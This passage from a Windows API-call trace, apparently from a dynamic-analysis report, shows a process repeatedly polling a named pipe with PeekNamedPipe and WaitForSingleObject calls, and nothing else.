nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.364] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.406] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.426] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.457] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.493] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.493] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.520] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.551] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.646] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.694] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.731] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.321] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.321] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.347] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.347] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.405] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.758] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.758] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.783] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.783] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.829] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.829] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.860] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.880] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.880] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.908] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.939] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.939] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.970] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.971] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.491] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.491] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.734] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.902] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.902] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.524] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0110.950] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.000] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.000] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.138] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.138] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.174] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.175] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0111.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.830] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.830] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.872] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.947] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.947] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0112.988] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.988] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.040] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.072] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.073] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.103] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.103] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.134] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.165] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.165] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.196] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.197] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.228] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.290] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.290] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.322] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.354] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.354] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.415] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.415] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.446] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.446] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.491] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.508] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.540] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.571] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.602] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.603] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.633] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.633] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.665] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.696] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.696] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.727] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.758] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.758] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.790] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.820] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.854] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.854] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.883] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.883] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.915] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.945] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, 